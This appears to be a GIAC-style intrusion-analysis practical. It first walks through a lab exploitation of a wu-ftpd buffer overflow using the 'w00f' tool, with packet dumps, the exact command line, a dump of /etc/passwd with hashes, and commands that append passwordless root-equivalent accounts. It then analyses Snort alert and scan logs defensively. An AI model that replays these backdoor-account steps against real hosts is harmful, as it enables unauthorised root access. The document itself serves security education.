```

```
5018 7fe0 ed1f 0000 6269 6e0a 626f 6f74  |  P . . . . . . . b i n \nb o o t
0a64 6576 0a65 7463 0a68 6f6d 650a 6c69  |  \nd e v \ne t c \nh o m e \nl i
620a 6c6f 7374 2b66 6f75 6e64 0a6d 6973  |  b \nl o s t + f o u n d \nm i s
630a 6d6e 740a 6f70 740a 7072 6f63 0a72  |  c \nm n t \no p t \np r o c \nr
6f6f 740a 7362 696e 0a74 6d70 0a75 7372  |  o o t \ns b i n \nt m p \nu s r
0a76 6172 0a-- ---- ---- ---- ---- ----  |  \nv a r \n. . . . . .
```

14:47:31.918551 linux.herschel.2699 > linux.herschel.ftp: . ack 4721 win 31896 (DF)

I check to see what user id I'm running as:

```
14:47:33.568551 linux.herschel.2699 > linux.herschel.ftp: P 1969:1972(3) ack 4721 win 31896 (DF)
4500 002b 3a7e 4000 4006 d773 0a0a 0a64  |  E . . + : . @ . @ . . s \n\n\nd
0a0a 0a64 0a8b 0015 b304 489f b681 8393  |  \n\n\nd \n. . . . . H . . . . .
5018 7c98 5698 0000 6964 0a-- ---- ----  |  P . . . V . . . i d \n. . . . .
```

14:47:33.588551 linux.herschel.ftp > linux.herschel.2699: . ack 1972 win 32736 (DF) [tos 0x10]

The server responds that our uid (user id) and gid (group id) are both set to 0, which is root. This means we can do anything we like on the server:

```
14:47:33.588551 linux.herschel.ftp > linux.herschel.2699: P 4721:4773(52) ack 1972 win 32736 (DF) [tos 0x10]
4510 005c 3a80 4000 4006 d730 0a0a 0a64  |  E . . \ : . @ . @ . . 0 \n\n\nd
0a0a 0a64 0015 0a8b b681 8393 b304 48a2  |  \n\n\nd . . \n. . . . . . . H .
5018 7fe0 217e 0000 7569 643d 3028 726f  |  P . . . ! . . . u i d = 0 ( r o
6f74 2920 6769 643d 3028 726f 6f74 2920  |  o t )   g i d = 0 ( r o o t )
6567 6964 3d35 3028 6674 7029 2067 726f  |  e g i d = 5 0 ( f t p )   g r o
7570 733d 3530 2866 7470 290a ---- ----  |  u p s = 5 0 ( f t p ) \n. . . .
```

14:47:33.608551 linux.herschel.2699 > linux.herschel.ftp: . ack 4773 win 31896 (DF)

I decide to create new users. First I change to the /etc directory:

```
14:47:39.678551 linux.herschel.2699 > linux.herschel.ftp: P 1972:1979(7) ack 4773 win 31896 (DF)
4500 002f 3a8a 4000 4006 d763 0a0a 0a64  |  E . . / : . @ . @ . . c \n\n\nd
0a0a 0a64 0a8b 0015 b304 48a2 b681 83c7  |  \n\n\nd \n. . . . . H . . . . .
5018 7c98 c794 0000 6364 2065 7463 0a--  |  P . . . . . . . c d   e t c \n.
```

14:47:39.698551 linux.herschel.ftp > linux.herschel.2699: . ack 1979 win 32736 (DF) [tos 0x10]

I display the current passwd file:

```
14:47:41.828551 linux.herschel.2699 > linux.herschel.ftp: P 1979:1990(11) ack 4773 win 31896 (DF)
4500 0033 3a97 4000 4006 d752 0a0a 0a64  |  E . . 3 : . @ . @ . . R \n\n\nd
0a0a 0a64 0a8b 0015 b304 48a9 b681 83c7  |  \n\n\nd \n. . . . . H . . . . .
5018 7c98 8cfb 0000 6361 7420 7061 7373  |  P . . . . . . . c a t   p a s s
7764 0a-- ---- ---- ---- ---- ---- ----  |  w d \n. . . . . .
```

14:47:41.848551 linux.herschel.ftp > linux.herschel.2699: . ack 1990 win 32736 (DF) [tos 0x10]

```
14:47:41.848551 linux.herschel.ftp > linux.herschel.2699: P 4773:5344(571) ack 1990 win 32736 (DF) [tos 0x10]
4510 0263 3a99 4000 4006 d510 0a0a 0a64  |  E . . c : . @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 83c7 b304 48b4  |  \n\n\nd . . \n. . . . . . . H .
5018 7fe0 2e2a 0000 726f 6f74 3a38 6f79  |  P . . . . * . . r o o t : 8 o y
6671 4c34 3833 646d 5532 3a30 3a30 3a72  |  f q L 4 8 3 d m U 2 : 0 : 0 : r
6f6f 743a 2f72 6f6f 743a 2f62 696e 2f62  |  o o t : / r o o t : / b i n / b
6173 680a 6269 6e3a 2a3a 313a 313a 6269  |  a s h \nb i n : * : 1 : 1 : b i
6e3a 2f62 696e 3a0a 6461 656d 6f6e 3a2a  |  n : / b i n : \nd a e m o n : *
3a32 3a32 3a64 6165 6d6f 6e3a 2f73 6269  |  : 2 : 2 : d a e m o n : / s b i
6e3a 0a61 646d 3a2a 3a33 3a34 3a61 646d  |  n : \na d m : * : 3 : 4 : a d m
3a2f 7661 722f 6164 6d3a 0a6c 703a 2a3a  |  : / v a r / a d m : \nl p : * :
343a 373a 6c70 3a2f 7661 722f 7370 6f6f  |  4 : 7 : l p : / v a r / s p o o
6c2f 6c70 643a 0a73 796e 633a 2a3a 353a  |  l / l p d : \ns y n c : * : 5 :
303a 7379 6e63 3a2f 7362 696e 3a2f 6269  |  0 : s y n c : / s b i n : / b i
6e2f 7379 6e63 0a73 6875 7464 6f77 6e3a  |  n / s y n c \ns h u t d o w n :
2a3a 363a 303a 7368 7574 646f 776e 3a2f  |  * : 6 : 0 : s h u t d o w n : /
7362 696e 3a2f 7362 696e 2f73 6875 7464  |  s b i n : / s b i n / s h u t d
6f77 6e0a 6861 6c74 3a2a 3a37 3a30 3a68  |  o w n \nh a l t : * : 7 : 0 : h
616c 743a 2f73 6269 6e3a 2f73 6269 6e2f  |  a l t : / s b i n : / s b i n /
6861 6c74 0a6d 6169 6c3a 2a3a 383a 3132  |  h a l t \nm a i l : * : 8 : 1 2
3a6d 6169 6c3a 2f76 6172 2f73 706f 6f6c  |  : m a i l : / v a r / s p o o l
2f6d 6169 6c3a 0a6e 6577 733a 2a3a 393a  |  / m a i l : \nn e w s : * : 9 :
3133 3a6e 6577 733a 2f76 6172 2f73 706f  |  1 3 : n e w s : / v a r / s p o
6f6c 2f6e 6577 733a 0a75 7563 703a 2a3a  |  o l / n e w s : \nu u c p : * :
3130 3a31 343a 7575 6370 3a2f 7661 722f  |  1 0 : 1 4 : u u c p : / v a r /
7370 6f6f 6c2f 7575 6370 3a0a 6f70 6572  |  s p o o l / u u c p : \no p e r
6174 6f72 3a2a 3a31 313a 303a 6f70 6572  |  a t o r : * : 1 1 : 0 : o p e r
6174 6f72 3a2f 726f 6f74 3a0a 6761 6d65  |  a t o r : / r o o t : \ng a m e
733a 2a3a 3132 3a31 3030 3a67 616d 6573  |  s : * : 1 2 : 1 0 0 : g a m e s
3a2f 7573 722f 6761 6d65 733a 0a67 6f70  |  : / u s r / g a m e s : \ng o p
6865 723a 2a3a 3133 3a33 303a 676f 7068  |  h e r : * : 1 3 : 3 0 : g o p h
6572 3a2f 7573 722f 6c69 622f 676f 7068  |  e r : / u s r / l i b / g o p h
6572 2d64 6174 613a 0a66 7470 3a2a 3a31  |  e r - d a t a : \nf t p : * : 1
343a 3530 3a46 5450 2055 7365 723a 2f68  |  4 : 5 0 : F T P   U s e r : / h
6f6d 652f 6674 703a 0a6e 6f62 6f64 793a  |  o m e / f t p : \nn o b o d y :
2a3a 3939 3a39 393a 4e6f 626f 6479 3a2f  |  * : 9 9 : 9 9 : N o b o d y : /
3a0a 7573 6572 3a34 6f36 4b58 4446 7930  |  : \nu s e r : 4 o 6 K X D F y 0
664c 4e6b 3a35 3030 3a35 3030 3a3a 2f68  |  f L N k : 5 0 0 : 5 0 0 : : / h
6f6d 652f 7573 6572 3a2f 6269 6e2f 6261  |  o m e / u s e r : / b i n / b a
7368 0a-- ---- ---- ---- ---- ---- ----  |  s h \n. . . . . .
```

14:47:41.868551 linux.herschel.2699 > linux.herschel.ftp: . ack 5344 win 31896 (DF)

The system by default will not allow root users to telnet in directly, so I first create a new, unprivileged user account with no password that can telnet into the server, by adding a line to the passwd file:

```
14:47:57.908551 linux.herschel.2699 > linux.herschel.ftp: P 1990:2037(47) ack 5344 win 31896 (DF)
4500 0057 3acd 4000 4006 d6f8 0a0a 0a64  |  E . . W : . @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 48b4 b681 8602  |  \n\n\nd \n. . . . . H . . . . .
```

```
5018 7c98 7a3b 0000 6563 686f 2022 6e65  |  P . . . z ; . . e c h o   " n e
7775 7365 723a 3a35 3031 3a35 3031 3a3a  |  w u s e r : : 5 0 1 : 5 0 1 : :
2f3a 2f62 696e 2f62 6173 6822 203e 3e20  |  / : / b i n / b a s h "   > >
7061 7373 7764 0a-- ---- ---- ---- ----  |  p a s s w d \n. . . . . .

14:47:57.928551 linux.herschel.ftp > linux.herschel.2699: . ack 2037 win 32736 (DF) [tos 0x10]
```

Next, I create a new user with user id 0 (who is therefore root-equivalent) by adding another line to the passwd file. The idea is that once we have connected as 'newuser', we can switch to the root-equivalent user. The root user is also created without a password:

```
14:48:06.698551 linux.herschel.2699 > linux.herschel.ftp: P 2037:2084(47) ack 5344 win 31896 (DF)
4500 0057 3afe 4000 4006 d6c7 0a0a 0a64  |  E . . W : . @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 48e3 b681 8602  |  \n\n\nd \n. . . . . H . . . . .
5018 7c98 f88f 0000 6563 686f 2022 6e65  |  P . . . . . e c h o   " n e
7772 6f6f 743a 3a30 3a30 3a3a 2f72 6f6f  |  w r o o t : : 0 : 0 : : / r o o
743a 2f62 696e 2f62 6173 6822 203e 3e20  |  t : / b i n / b a s h "   > >
7061 7373 7764 0a-- ---- ---- ---- ----  |  p a s s w d \n. . . . . .

14:48:06.718551 linux.herschel.ftp > linux.herschel.2699: . ack 2084 win 32736 (DF) [tos 0x10]
```

View the passwd file again to make sure the changes have been added:

```
14:48:08.138551 linux.herschel.2699 > linux.herschel.ftp: P 2084:2095(11) ack 5344 win 31896 (DF)
4500 0033 3b0b 4000 4006 d6de 0a0a 0a64  |  E . . 3 ; . @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 4912 b681 8602  |  \n\n\nd \n. . . . . I . . . . .
5018 7c98 8a57 0000 6361 7420 7061 7373  |  P . . . . W . . c a t   p a s s
7764 0a-- ---- ---- ---- ---- ---- ----  |  w d \n. . . . . .

14:48:08.148551 linux.herschel.ftp > linux.herschel.2699: P 5344:5975(631) ack 2095 win 32736 (DF) [tos 0x10]
4510 029f 3b0c 4000 4006 d461 0a0a 0a64  |  E . . . ; . @ . @ . . a \n\n\nd
0a0a 0a64 0015 0a8b b681 8602 b304 491d  |  \n\n\nd . . \n. . . . . . . I .
5018 7fe0 d591 0000 726f 6f74 3a38 6f79  |  P . . . . . . . r o o t : 8 o y
6671 4c34 3833 646d 5532 3a30 3a30 3a72  |  f q L 4 8 3 d m U 2 : 0 : 0 : r
6f6f 743a 2f72 6f6f 743a 2f62 696e 2f62  |  o o t : / r o o t : / b i n / b
6173 680a 6269 6e3a 2a3a 313a 313a 6269  |  a s h \nb i n : * : 1 : 1 : b i
6e3a 2f62 696e 3a0a 6461 656d 6f6e 3a2a  |  n : / b i n : \nd a e m o n : *
3a32 3a32 3a64 6165 6d6f 6e3a 2f73 6269  |  : 2 : 2 : d a e m o n : / s b i
6e3a 0a61 646d 3a2a 3a33 3a34 3a61 646d  |  n : \na d m : * : 3 : 4 : a d m
3a2f 7661 722f 6164 6d3a 0a6c 703a 2a3a  |  : / v a r / a d m : \nl p : * :
343a 373a 6c70 3a2f 7661 722f 7370 6f6f  |  4 : 7 : l p : / v a r / s p o o
6c2f 6c70 643a 0a73 796e 633a 2a3a 353a  |  l / l p d : \ns y n c : * : 5 :
303a 7379 6e63 3a2f 7362 696e 3a2f 6269  |  0 : s y n c : / s b i n : / b i
6e2f 7379 6e63 0a73 6875 7464 6f77 6e3a  |  n / s y n c \ns h u t d o w n :
2a3a 363a 303a 7368 7574 646f 776e 3a2f  |  * : 6 : 0 : s h u t d o w n : /
7362 696e 3a2f 7362 696e 2f73 6875 7464  |  s b i n : / s b i n / s h u t d
6f77 6e0a 6861 6c74 3a2a 3a37 3a30 3a68  |  o w n \nh a l t : * : 7 : 0 : h
616c 743a 2f73 6269 6e3a 2f73 6269 6e2f  |  a l t : / s b i n : / s b i n /
6861 6c74 0a6d 6169 6c3a 2a3a 383a 3132  |  h a l t \nm a i l : * : 8 : 1 2
3a6d 6169 6c3a 2f76 6172 2f73 706f 6f6c  |  : m a i l : / v a r / s p o o l
2f6d 6169 6c3a 0a6e 6577 733a 2a3a 393a  |  / m a i l : \nn e w s : * : 9 :
3133 3a6e 6577 733a 2f76 6172 2f73 706f  |  1 3 : n e w s : / v a r / s p o
6f6c 2f6e 6577 733a 0a75 7563 703a 2a3a  |  o l / n e w s : \nu u c p : * :
3130 3a31 343a 7575 6370 3a2f 7661 722f  |  1 0 : 1 4 : u u c p : / v a r /
7370 6f6f 6c2f 7575 6370 3a0a 6f70 6572  |  s p o o l / u u c p : \no p e r
6174 6f72 3a2a 3a31 313a 303a 6f70 6572  |  a t o r : * : 1 1 : 0 : o p e r
6174 6f72 3a2f 726f 6f74 3a0a 6761 6d65  |  a t o r : / r o o t : \ng a m e
733a 2a3a 3132 3a31 3030 3a67 616d 6573  |  s : * : 1 2 : 1 0 0 : g a m e s
3a2f 7573 722f 6761 6d65 733a 0a67 6f70  |  : / u s r / g a m e s : \ng o p
6865 723a 2a3a 3133 3a33 303a 676f 7068  |  h e r : * : 1 3 : 3 0 : g o p h
6572 3a2f 7573 722f 6c69 622f 676f 7068  |  e r : / u s r / l i b / g o p h
6572 2d64 6174 613a 0a66 7470 3a2a 3a31  |  e r - d a t a : \nf t p : * : 1
343a 3530 3a46 5450 2055 7365 723a 2f68  |  4 : 5 0 : F T P   U s e r : / h
6f6d 652f 6674 703a 0a6e 6f62 6f64 793a  |  o m e / f t p : \nn o b o d y :
2a3a 3939 3a39 393a 4e6f 626f 6479 3a2f  |  * : 9 9 : 9 9 : N o b o d y : /
3a0a 7573 6572 3a34 6f36 4b58 4446 7930  |  : \nu s e r : 4 o 6 K X D F y 0
664c 4e6b 3a35 3030 3a35 3030 3a3a 2f68  |  f L N k : 5 0 0 : 5 0 0 : : / h
6f6d 652f 7573 6572 3a2f 6269 6e2f 6261  |  o m e / u s e r : / b i n / b a
7368 0a6e 6577 7573 6572 3a3a 3530 313a  |  s h \nn e w u s e r : : 5 0 1 :
3530 313a 3a2f 3a2f 6269 6e2f 6261 7368  |  5 0 1 : : / : / b i n / b a s h
0a6e 6577 726f 6f74 3a3a 303a 303a 3a2f  |  \nn e w r o o t : : 0 : 0 : : /
726f 6f74 3a2f 6269 6e2f 6261 7368 0a--  |  r o o t : / b i n / b a s h \n.

14:48:08.168551 linux.herschel.2699 > linux.herschel.ftp: . ack 5975 win 31896 (DF)
```

At this point I closed the FTP session:

```
14:48:11.958551 linux.herschel.2699 > linux.herschel.ftp: F 2095:2095(0) ack 5975 win 31896
14:48:11.958551 linux.herschel.ftp > linux.herschel.2699: . ack 2096 win 32735 (DF) [tos 0x10]
14:48:11.958551 linux.herschel.ftp > linux.herschel.2699: F 5975:5975(0) ack 2096 win 32736 [tos 0x10]
14:48:11.958551 linux.herschel.2699 > linux.herschel.ftp: . ack 5976 win 31896 (DF)
```

Below is the view of the same exploit from the terminal performing the exploit, followed by an attempt to telnet to the machine using the new account.

Here is the usage screen of the exploit program, to aid in interpreting the options I passed it:

```
Usage: ./w00f <host> <username> <password> [-c] [-s start_dir]
        [-o offset] [-t type]
        types:
        0 - BETA-18 (redhat 5.2)
        1 - BETA-16 (redhat 5.1)
        2 - BETA-15 (redhat 5.0)
        3 - BETA-15 (slackware 3.3)
        4 - BETA-15 (slackware 3.4)
        5 - BETA-15 (slackware 3.6)
```

Although the usage screen does not explain it, the "-c" option is used to turn on the chroot code in the exploit.

Commands I typed are in **bold**.

[user@linux user]$ **./w00f 10.10.10.100 anonymous pass -t 0 -c 1 -s incoming**

220 linux.herschel FTP server (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998) ready.
Home Dir = /incoming, Len = 9
Making padding directorys
Press any key to send shellcode...

ls
bin
boot
dev
etc
home
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var
id
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
cd etc
cat passwd
root:8oyfqL483dmU2:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:
games:*:12:100:games:/usr/games:
gopher:*:13:30:gopher:/usr/lib/gopher-data:
ftp:*:14:50:FTP User:/home/ftp:
nobody:*:99:99:Nobody:/:
user:4o6KXDFy0fLNk:500:500::/home/user:/bin/bash
echo "newuser::501:501::/:/bin/bash" >> passwd
echo "newroot::0:0::/root:/bin/bash" >> passwd
cat passwd
root:8oyfqL483dmU2:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:
games:*:12:100:games:/usr/games:
gopher:*:13:30:gopher:/usr/lib/gopher-data:
ftp:*:14:50:FTP User:/home/ftp:
nobody:*:99:99:Nobody:/:
user:4o6KXDFy0fLNk:500:500::/home/user:/bin/bash
newuser::501:501::/:/bin/bash
newroot::0:0::/root:/bin/bash

At this point, I closed the "FTP" session, and telnetted into the exploited machine to verify that the new accounts were active:

[user@linux user]$ **telnet 10.10.10.100**
Trying 10.10.10.100...
Connected to 10.10.10.100.
Escape character is '^]'.

Linux Mandrake release 5.3 (Festen)
Kernel 2.0.36 on an i586
login: **newuser**
[newuser@linux /]$ **su newroot**
[root@linux /]# **id**

uid=0(root) gid=0(root) groups=0(root)
[root@linux /]# **exit**
[newuser@linux /]$ **logout**
Connection closed by foreign host.

Everything functioned successfully. If this had been an actual cracker, they could then proceed to remove their traces from the logs, and install trojaned versions of programs such as ls, ps, and netstat that would not show their activity.

Although some buffer overflows will leave garbage characters (actually portions of the exploit code) in the logs, this one doesn't, using the default logging for this distribution. /var/log/messages and /var/log/secure log the FTP session, but it does not look out of the ordinary. If the FTP server had been set up to log any directory creation--which may be a good idea if anonymous users have write access--then the logs would definitely have looked unusual.

Assignment 3: "Analyze This" Scenario

Initial overview of the log files

One unusual property of these scans is that there is significant duplication between the files. For example, the files SnortA5.txt and SnortA8.txt are identical, except for a line of four asterisks at the beginning of SnortA5.txt. This may be simply user error on the part of the analyst who collected and named the logs, or it may be a sign that the machine running Snort -- or the machine(s) collecting and/or storing the logs -- was compromised in this scenario, and the cracker replaced incriminating log files with benign ones. If it was the latter, it was a relatively inept attempt, since the dates at the beginning of the duplicated files were not changed. Those machines should be examined closely for any sign of intrustion or log tampering.

Identical log files (or log files with only insignificant differences; no differences in Snort content):

- SnortA2.txt and SnortAle.txt
- SnortA3.txt and SnortA4.txt
- SnortA5.txt and SnortA8.txt
- SnortA6.txt and SnortA9.txt
- SnortA7.txt, SnortA11.txt, and SnortA12.txt
- SnortS8.txt and SnortS9.txt (SnortS8.txt has the text 'Nice through SYN-scan at the end there.' at the beginning; SnortS9.txt does not)

In addition, SnortA13.txt is simply the first 12,232 lines of SnortA14.txt, and SnortA18.txt is simply the first 890 lines of SnortA20.txt.

After removing the duplication, some basic statistics can be collected. Using standard Unix-type command line tools such as cut, grep, sort, and uniq, one can compile a list of the number of times each Snort alert was seen:

```
# Seen  Event
------  -----------------------------------
  3617  Attempted Sun RPC high port access
    17  External RPC call
   184  GIAC 000218 VA-CIRT port 34555
   126  GIAC 000218 VA-CIRT port 35555
    13  GIAC 08-feb-2000
     2  Happy 99 Virus
  4156  NMAP TCP ping!
   234  Null scan!
    29  Probable NMAP fingerprint attempt
     1  Queso fingerprint
   371  SMB Name Wildcard
  1242  SNMP public access
  3035  SUNRPC highport access!
 18246  SYN-FIN scan!
     2  TCP SMTP Source Port traffic
   157  Tiny Fragments - Possible Hostile Activity
  8560  Watchlist 000220 IL-ISDNNET-990517
 10655  Watchlist 000222 NET-NCFC
  4910  WinGate 1080 Attempt
 43910  WinGate 8080 Attempt
```

Alert-by-alert breakdown

Attempted Sun RPC high port access: The majority of these instances (3028 of the 3617 instances) have a source port of 4000, which means the most likely cause is ICQ. Whether that's a threat or not depends on the security policies and "personal use" policies in place at the site.

Almost all of the remaining matches to this are from port 7777. A quick search indicates that this port is used for a wide variety of services--the multiplayer game Unreal, Multi-User Dungeons (MUD's), Napster, and the Internet Go Server (for the game Go), among others. Andy Johnston reported a strikingly similar group of connection attempts (source port 7777, destination port 32771, and multiple connection attempts per second) in the 5/19/00 GIAC Detects Analyzed report. They occured only several days apart, as well. Given this, the target machine for these attempts (MY.NET.98.150) should probably be at least port scanned, and preferably examined more closely to determine what this traffic is.

External RPC call: These are all connection attempts to the portmapper service. This is reconnaisance to determine the port that various NFS services are running on. One machine (MY.NET.6.15) received most of these probes, from two different source IP addresses. This is probably just a higher-profile machine, but if it is running portmapper, it should be double-checked to make sure that its services are well-patched. In addition, portmapper requests from the Internet should be blocked at a firewall.

GIAC 000218 VA-CIRT port 34555 and **GIAC 000218 VA-CIRT port 35555**: These rules appear to have been added because of a detect posted to GIAC's 2/18/00 Detects Analyzed page, describing a Windows trojan that listened for pings on UDP port 34555, and sent pings to UDP 35555. Scanning the matches for this rule, all of the traffic is from a well-known port, such as SMTP, DNS, or ident. Therefore, these matches all appear to be false alarms.

GIAC 08-feb-2000: This rule was turned on because of a detect on GIAC's 2/8/00 Detects Analyzed page, mentioning the "familiar" source IP of 195.11.50.204. This site found 13 packets from that IP addresses to a variety of destination ports, all but one addressed to MY.NET.179.77.

However, a reverse lookup of that IP address gives finch-04.www-cache.demon.co.uk. The familiarity of that IP address can therefore be attributed to the now infamous "broken Demon Internet."

Happy 99 Virus: This shows two mail messages matching the Happy 99 e-mail virus signature (which is "X-Spanska:Yes"). Both originated from Erols Internet Services in Springfield, VA. Given that specific matching string, this is most likely not a false alarm, and two e-mail messages were received with that virus. If possible, the mail server should be scanned for attachment viruses. In addition, there should be a strong virus checker on user's desktop machines in order to catch these.

NMAP TCP ping!: Disturbingly, the vast majority of these (4136 of the 4156 seen) were sent from MY.NET to MY.NET. The source was always MY.NET.253.12. One possibility is that MY.NET.253.12 has been compromised; it should definitely be closely examined. Another possibility is that this is a machine used by an administrator with a valid reason for scanning the network.

A quick check of the logs for other instances of this IP address shows that it also performed a huge scan for proxy servers on ports 1080 and 8080. If MY.NET.253.12 does not belong to an administrator, it should be examined immediately for either a curious user or a remote compromise.

Null scan!: According to the current snort ruleset, this alert triggers when no TCP flags are set, and the sequence and acknowledgement numbers are both zero. Most of the traffic that matched this appear to be generic scans with no pattern. However, 28 packets were logged from MY.NET.253.12. If nothing else had been seen from that machine, this would be enough to investigate it further, as these are not typical packets. If this was an actual security report, however, someone should have already checked that machine after the last paragraph.

Probable NMAP fingerprint attempt and **Queso fingerprint**: This is additional reconnaisance to determine the operating system in use by sending usual packets. There is no pattern from the probing hosts, except that MY.NET.253.12 shows up once again. While some of the earlier scans seen from this machine are reasonable adminstrative scans, an administrator should know what operating system his/her machines are running, which makes this activity from MY.NET.253.12 even more suspicious.

SMB Name Wildcard: Most of this traffic is from one internal machine to another, which is fairly common between NT machines. Some is from the Internet, though. This can provide useful reconnaisance information and should be blocked by a firewall, but is not enough activity to cause alarm by itself.

Some of this activity is from the non-routable 192.168 network. This may be acceptable if these addresses are in use on this network, but otherwise may warrant additional attention. These should be blocked from entering the network at the firewall.

SNMP public access: MY.NET.101.192 is using an SNMP community string of "public", as evidenced by the 1,242 alerts generated by Snort. Luckily, all of those accesses were from internal machines (and none from MY.NET.253.12.) While this may be because SNMP is being blocked by a firewall, the other activity in these logs makes me doubt that. Not only should SNMP be blocked from the Internet, but the community string should be changed to something more secure.

SUNRPC highport access!: This sounds a lot like the first alert, and the current (7/27/2000) Snort ruleset only has one entry for Sun high port RPC. One rule is probably for UDP traffic, and the other for TCP. This rule appears to have far fewer false positives in it, and also includes significant scanning from MY.NET.253.12.

This is a reconnaisance probe equivalent to the standard portmapper (port 111) probe seen above. This should be firewalled, and any Suns should be patched so they do not listen on the high RPC port, but this is reconnaisance only.

SYN-FIN scan!: Almost all of the SYN-FIN scans came from 2 sources:

142.150.225.137 (Chemistry Dept, University of Toronto) sent 1 SYN-FIN packet each to 4,594 different hosts, searching for DNS servers.

204.60.176.2 (Southern New England Telephone, Meridan, CT) sent 1 SYN-FIN packet each to 13,619 different hosts, also searching for DNS servers.

These are large scans, but otherwise not very noteworthy. No packets besides these scans were logged from either of those sources.

TCP SMTP Source Port traffic: One of these packets is from 148.204.183.85 (in Mexico). This machine scanned a number of ports on MY.NET.60.14, one of which happened to be from the SMTP port to the SMTP port, which was logged.

The other packet was from 212.209.122.1 (in Sweden), which scanned the exact same target ports on a different local machine. Once again, the scan to the SMTP port was also from the SMTP port, which triggered this alert.

Therefore, this appears to come from a moderately popular scanner which scans a variety of ports on the target. For some reason, the scan of port 25 has a source port of 25 as well. Aside from being a unique signature, this is a relatively minor event.

Tiny Fragments - Possible Hostile Activity: Tiny fragments are suspicious, but there is not enough information here to determine what exactly is going on. If possible, the packets should be examined more closely in an attempt to determine what they contain. One likely possibility is that they may be illegally fragmented in an attempt to crash the host that reassembles them.

Watchlist 000220 IL-ISDNNET-990517: Someone apparently decided the 212.179.0.0/16 network needed to be watched more closely, and added a rule to log it. The network is in Israel, and this has captured some marginally interesting traffic, such as a local user connecting to port 8080 on 212.179.44.36, which may be a proxy or just a web server on an alternate port; a fair amount of likely Napster traffic to and from port 6699; likely Gnutella traffic to and from port 6346. None of it is worth warning about, unless Napster and Gnutella are against the site's policies.

Watchlist 000222 NET-NCFC: This is another custom rule someone at this site added; this one watches the Computer Center at the Chinese Academy of Sciences (159.226.0.0/16). The traffic captured is mostly SMTP traffic (9,914 of the 10,655 packets), but there is some very suspicious traffic in the remainder of the packets. There appear to be outgoing telnet sessions from the local network to various machines at the Chinese Academy of Sciences. MY.NET.162.121, MY.NET.163.32, and MY.NET.99.51 all telnetted out to 2 machines there, 159.226.41.99 and 159.226.45.3.

Not knowing the function of the monitored site, it is difficult to determine the importance of these sessions. For a university, or a corporation with interns from other countries, this may not be a big deal. For military installations this would probably be a high priority detect, and the local machines that telnetted out should be investigated.

WinGate 1080 Attempt and **WinGate 8080 Attempt**: These are simply proxy server probes. As previously mentioned, many of these are from the suspicious MY.NET.253.12 address.

However, many of the probes are from the Internet, and some local targets appear far more often than others, which arouse suspicious that they may indeed be running a proxy which is actively being exploited. The largest target, by far, is MY.NET.253.105; Snort logged 15,788 attempts to connect to port 8080 on it, from 194 different IP addresses.

Targets that showed up more than average are as follows:

Number of proxy connection attempts	Destination IP address and port
76	MY.NET.99.51:8080
80	MY.NET.60.8:1080
99	MY.NET.20.10:8080
102	MY.NET.146.68:1080

108	MY.NET.100.59:8080
111	MY.NET.60.16:1080
231	MY.NET.60.11:1080
590	MY.NET.97.69:8080
604	MY.NET.97.203:8080
1038	MY.NET.99.85:8080
15788	MY.NET.253.105:8080

Analysis of scans

Points of interest from the scan logs:

- This site saw a large number of SubSeven scans: 49,746 probes in all. 40,797 of them were from a single cable modem at 24.2.169.101. There is no evidence of any successful SubSeven connections, though.
- MY.NET.97.127 should be checked for Back Orifice. There were 5 connection attempts to it from the same source IP (194.154.157.143) spread over 143 minutes, which is more connection attempts than to any other local IP. It's not a huge number of connections, and is most likely a false alarm, but it would be worth exploring.

Possible hardware problem

There is a likely hardware problem (or possibly very confused software). OOScheck.txt contains several packets from MY.NET.617.186 to various external addresses with what appear to be corrupted headers:

```
06/11-03:03:18.259109 MY.NET.217.186:6700 -> 63.10.157.250:1061
TCP TTL:126 TOS:0x0 ID:28580  DF
21SFR*AU Seq: 0xDE0   Ack: 0x6C560122   Win: 0x5010

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-03:04:58.733976 MY.NET.217.186:6700 -> 63.10.157.250:1061
TCP TTL:126 TOS:0x0 ID:21161  DF
21SFRPAU Seq: 0xDE06C56   Ack: 0x6F0126   Win: 0x5010
37 FF 50 10 21 80 83 93 20 20 20 20 20 00        7.P.!...     .

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-03:05:09.699590 MY.NET.217.186:6700 -> 63.10.157.250:1061
TCP TTL:126 TOS:0x0 ID:56489  DF
**SFRP*U Seq: 0x300DE0   Ack: 0x6C560126   Win: 0x5010

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-03:06:19.197025 MY.NET.217.186:6700 -> 63.10.157.250:1061
TCP TTL:126 TOS:0x0 ID:28845  DF
*1SFR*AU Seq: 0xDE06C56   Ack: 0x800128   Win: 0x5010

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
